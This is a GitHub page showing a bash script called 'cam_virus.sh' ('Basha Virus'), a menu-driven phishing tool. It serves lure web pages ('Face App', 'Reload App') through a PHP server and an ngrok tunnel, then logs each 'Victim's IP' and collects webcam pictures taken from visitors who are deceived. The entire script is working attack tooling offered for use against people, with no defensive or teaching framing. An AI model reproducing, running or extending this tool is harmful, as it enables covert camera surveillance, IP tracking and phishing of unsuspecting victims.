-
Notifications
You must be signed in to change notification settings - Fork 48
Expand file tree
/
Copy pathcam_virus.sh
More file actions
328 lines (271 loc) · 9.17 KB
/
Copy pathcam_virus.sh
File metadata and controls
328 lines (271 loc) · 9.17 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
#!/bin/bash
# Basha Virus V1.0
# Coded by: SiddhantOffl
# Github: https://github.com/SiddhantOffl
## ANSI colors (FG & BG)
RED="$(printf '\033[31m')" GREEN="$(printf '\033[32m')" ORANGE="$(printf '\033[33m')" BLUE="$(printf '\033[34m')"
MAGENTA="$(printf '\033[35m')" CYAN="$(printf '\033[36m')" WHITE="$(printf '\033[37m')" BLACK="$(printf '\033[30m')"
REDBG="$(printf '\033[41m')" GREENBG="$(printf '\033[42m')" ORANGEBG="$(printf '\033[43m')" BLUEBG="$(printf '\033[44m')"
MAGENTABG="$(printf '\033[45m')" CYANBG="$(printf '\033[46m')" WHITEBG="$(printf '\033[47m')" BLACKBG="$(printf '\033[40m')"
RESETBG="$(printf '\e[0m\n')"
## Directories
if [[ ! -d ".server" ]]; then
mkdir -p ".server"
fi
if [[ -d ".server/www" ]]; then
rm -rf ".server/www"
mkdir -p ".server/www"
else
mkdir -p ".server/www"
fi
unzip website.zip > /dev/null 2>&1
rm -rf website.zip > /dev/null 2>&1
## Script termination
exit_on_signal_SIGINT() {
{ printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Interrupted." 2>&1; reset_color; }
exit 0
}
exit_on_signal_SIGTERM() {
{ printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Terminated." 2>&1; reset_color; }
exit 0
}
trap exit_on_signal_SIGINT SIGINT
trap exit_on_signal_SIGTERM SIGTERM
## Reset terminal colors
reset_color() {
tput sgr0 # reset attributes
tput op # reset color
return
}
## Kill already running process
kill_pid() {
if [[ `pidof php` ]]; then
killall php > /dev/null 2>&1
fi
if [[ `pidof ngrok` ]]; then
killall ngrok > /dev/null 2>&1
fi
}
clear
## Banner
banner() {
cat <<- EOF
${ORANGE}
█▀▀ ▄▀█ █▀▄▀█ ▄▄ █░█ █ █▀█ █░█ █▀
${BLUE} █▄▄ █▀█ █░▀░█ ░░ ▀▄▀ █ █▀▄ █▄█ ▄█
${RED} ==========================================
${GREEN}[${WHITE}-${GREEN}]${CYAN}Tool Created by Siddhant Saaho${WHITE}${RED} (Version : 1.0)
EOF
}
## Dependencies
dependencies() {
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing required packages..."
if [[ -d "/data/data/com.termux/files/home" ]]; then
if [[ `command -v proot` ]]; then
printf ''
else
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}proot${CYAN}"${WHITE}
pkg install proot resolv-conf -y
fi
fi
if [[ `command -v php` && `command -v wget` && `command -v curl` && `command -v unzip` ]]; then
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Packages already installed."
else
pkgs=(php curl wget unzip)
for pkg in "${pkgs[@]}"; do
type -p "$pkg" &>/dev/null || {
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}$pkg${CYAN}"${WHITE}
if [[ `command -v pkg` ]]; then
pkg install "$pkg"
elif [[ `command -v apt` ]]; then
apt install "$pkg" -y
elif [[ `command -v apt-get` ]]; then
apt-get install "$pkg" -y
elif [[ `command -v pacman` ]]; then
sudo pacman -S "$pkg" --noconfirm
elif [[ `command -v dnf` ]]; then
sudo dnf -y install "$pkg"
else
echo -e "\n${RED}[${WHITE}!${RED}]${RED} Unsupported package manager, Install packages manually."
{ reset_color; exit 1; }
fi
}
done
fi
}
## Download Ngrok
download_ngrok() {
url="$1"
file=`basename $url`
if [[ -e "$file" ]]; then
rm -rf "$file"
fi
wget --no-check-certificate "$url" > /dev/null 2>&1
if [[ -e "$file" ]]; then
unzip "$file" > /dev/null 2>&1
mv -f ngrok .server/ngrok > /dev/null 2>&1
rm -rf "$file" > /dev/null 2>&1
chmod +x .server/ngrok > /dev/null 2>&1
else
echo -e "\n${RED}[${WHITE}!${RED}]${RED} Error occured, Install Ngrok manually."
{ reset_color; exit 1; }
fi
}
## Install ngrok
install_ngrok() {
if [[ -e ".server/ngrok" ]]; then
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Ngrok already installed."
else
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing ngrok..."${WHITE}
arch=`uname -m`
if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then
download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip'
elif [[ "$arch" == *'aarch64'* ]]; then
download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm64.zip'
elif [[ "$arch" == *'x86_64'* ]]; then
download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip'
else
download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip'
fi
fi
}
## Exit message
msg_exit() {
{ clear; banner; echo; }
echo -e "\e[1;94m As you wish...lol\e[0m"
echo -e ""
sleep 0.2
echo -e "\e[1;93m Leave!!🙄\e[0m"
{ reset_color; exit 0; }
}
## About
about() {
{ clear; banner; echo; }
cat <<- EOF
${GREEN}Author ${RED}: ${ORANGE}Siddhant ${RED}[ ${ORANGE}Saaho ${RED}]
${GREEN}Github ${RED}: ${CYAN}https://github.com/SiddhantOffl
${GREEN}Version ${RED}: ${ORANGE}1.0
${RED}[${WHITE}00${RED}]${ORANGE} Main Menu ${RED}[${WHITE}99${RED}]${ORANGE} Exit
EOF
read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}"
if [[ "$REPLY" == 99 ]]; then
msg_exit
elif [[ "$REPLY" == 0 || "$REPLY" == 00 ]]; then
echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Returning to main menu..."
{ sleep 1; main_menu; }
else
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
{ sleep 1; about; }
fi
}
## Setup website and start php server
HOST='127.0.0.1'
PORT='8080'
setup_site() {
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Setting up server..."${WHITE}
cp -rf .webcam/"$website"/* .server/www
cp -f .webcam/ip.php .server/www/
echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Starting PHP server..."${WHITE}
cd .server/www && php -S "$HOST":"$PORT" > /dev/null 2>&1 &
}
## Get IP address
capture_ip() {
IP=$(grep -a 'IP:' .server/www/ip.txt | cut -d " " -f2 | tr -d '\r')
IFS=$'\n'
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Victim's IP : ${BLUE}$IP"
echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Saved in : ${ORANGE}ip.txt"
cat .server/www/ip.txt >> ip.txt
}
## Print data
capture_data() {
echo -ne "\n${RED}[${WHITE}-${RED}]${ORANGE} Waiting to Victim Picture, ${BLUE}Ctrl + C ${ORANGE}to exit..."
while true; do
if [[ -e ".server/www/ip.txt" ]]; then
echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Victim IP Found !"
capture_ip
rm -rf .server/www/ip.txt
fi
sleep 0.75
if [[ -e ".server/www/Log.log" ]]; then
echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Image Received! ${RED}[${CYAN}check /images Folder${RED}]"
rm -rf .server/www/Log.log
fi
sleep 0.75
done
}
## Start ngrok
start_ngrok() {
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
{ sleep 1; setup_site; }
echo -ne "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Ngrok..."
if [[ `command -v termux-chroot` ]]; then
sleep 2 && termux-chroot ./.server/ngrok http "$HOST":"$PORT" > /dev/null 2>&1 & # Thanks to Mustakim Ahmed (https://github.com/BDhackers009)
else
sleep 2 && ./.server/ngrok http "$HOST":"$PORT" > /dev/null 2>&1 &
fi
{ sleep 8; clear; banner; }
ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io")
ngrok_url1=${ngrok_url#https://}
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$ngrok_url"
capture_data
}
## Start localhost
start_localhost() {
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
setup_site
{ sleep 1; clear; banner; }
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Successfully Hosted at : ${GREEN}${CYAN}http://$HOST:$PORT ${GREEN}"
capture_data
}
## Tunnel selection
tunnel_menu() {
{ clear; banner; }
cat <<- EOF
${RED}[${WHITE}01${RED}]${ORANGE} Localhost ${RED}[${CYAN}For Devs${RED}]
${RED}[${WHITE}02${RED}]${ORANGE} Ngrok.io ${RED}[${CYAN}Best${RED}]
EOF
read -p "${RED}[${WHITE}-${RED}]${GREEN} Select a port forwarding service : ${BLUE}"
if [[ "$REPLY" == 1 || "$REPLY" == 01 ]]; then
start_localhost
elif [[ "$REPLY" == 2 || "$REPLY" == 02 ]]; then
start_ngrok
else
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
{ sleep 1; tunnel_menu; }
fi
}
## Menu
main_menu() {
{ clear; banner; echo; }
cat <<- EOF
${RED} [${WHITE}::${RED}]${ORANGE} Select An Attack For Your Victim ${RED}[${WHITE}::${RED}]${ORANGE}
${RED} [${WHITE}01${RED}]${ORANGE} Deafult
${RED} [${WHITE}02${RED}]${ORANGE} Face App
${RED} [${WHITE}03${RED}]${ORANGE} Reload App
${RED} [${WHITE}99${RED}]${ORANGE} About
${RED} [${WHITE}00${RED}]${ORANGE} Exit
EOF
read -p " ${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}"
if [[ "$REPLY" == 1 || "$REPLY" == 01 ]]; then
website="deafult"
tunnel_menu
elif [[ "$REPLY" == 2 || "$REPLY" == 02 ]]; then
website="camera_temp"
tunnel_menu
elif [[ "$REPLY" == 3 || "$REPLY" == 03 ]]; then
website="xmen_temp"
tunnel_menu
elif [[ "$REPLY" == 99 ]]; then
about
elif [[ "$REPLY" == 0 || "$REPLY" == 00 ]]; then
msg_exit
else
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
{ sleep 1; main_menu; }
fi
}
##Main
kill_pid
dependencies
install_ngrok
main_menu